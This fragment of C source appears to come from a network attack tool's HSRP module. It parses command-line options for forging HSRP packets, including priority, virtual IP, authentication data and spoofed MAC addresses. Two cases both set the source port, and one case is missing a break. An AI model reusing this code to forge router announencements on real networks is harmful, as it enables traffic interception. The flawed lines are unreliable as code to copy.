                   write_log(2,"Unable to use interface %s!! (Maybe nonexistent?)\n\n",optarg);
                   return -1;
                }
                 /* Don't repeat interface...*/
                if (!node->used_ints[tmp])
                {
                    if ((tmp = interfaces_add(optarg)) == -1)
                    {
                       write_log(2,"Unable to use interface %s!! (Maybe nonexistent?)\n\n",optarg);
                       return -1;
                    }
                    node->used_ints[tmp] = 1;
                    ifaces++;
                }
            break;

            case 2:
                hsrp_data->version = atoi(optarg);
            break;
            
            case 3:
                hsrp_data->opcode = atoi(optarg);
            break;

            case 4:
                hsrp_data->state = atoi(optarg);
            break;

            case 5:
                hsrp_data->hello_time = atoi(optarg);
            break;

            case 6:
                hsrp_data->hold_time = atoi(optarg);
            break;

            case 7:
                hsrp_data->priority = atoi(optarg);
            break;

            case 8:
                hsrp_data->group = atoi(optarg);
            break;

            case 9:
                hsrp_data->reserved = atoi(optarg);
            break;

            case 10:
                strncpy(hsrp_data->authdata, optarg, HSRP_AUTHDATA_LENGTH);
            break;

            case 11:
                hsrp_data->virtual_ip = inet_addr(optarg);
            break;

            case 12:
                hsrp_data->sport = atoi(optarg);
            break;

            case 13:
                hsrp_data->sport = atoi(optarg);
            break;

            case 14:
                hsrp_data->sip = inet_addr(optarg);
            break;

            case 15:
                hsrp_data->dip = inet_addr(optarg);
            break;

            case 16:
                if (parser_vrfy_mac(optarg, hsrp_data->mac_source)) {
                    write_log(2, "Source MAC address incorrect!!\n");
                    return -1;
                }

            case 17: 
                if ( parser_vrfy_mac(optarg, hsrp_data->mac_dest) )
                {
                    write_log(2,"Destination MAC address incorrect!!\n");
                    return -1;
                }
            break;

            case 'h': hsrp_help();
                      return 0;
            break;

                  case 'M':
                      node->mac_spoofing = 0;
                  break;

            case '?': return -1;
            break;       
        }
    }

    /* select a default device if not specified */
    if (!ifaces)  {
        if (strlen(interfaces[0].ifname)) {
            write_log(2,"Warning: interface %s selected as the default one\n", &interfaces[0].ifname);
            if ((tmp = interfaces_add(interfaces[0].ifname)) == -1)
            {
               write_log(2,"Unable to use interface %s!! (Maybe nonexistent?)\n\n", interfaces[0].ifname);
               return -1;
            }
            else
                node->used_ints[tmp] = 1;
                ifaces++;
        } else {
            write_log(2,"Hmm... you don't have any valid interface. Go and get a life!\n");
            return -1;
        }
    }

   return 0;

}

/* vim:set tabstop=4:set expandtab:set shiftwidth=4:set textwidth=78: */

Generated by  Doxygen 1.6.0   Back to index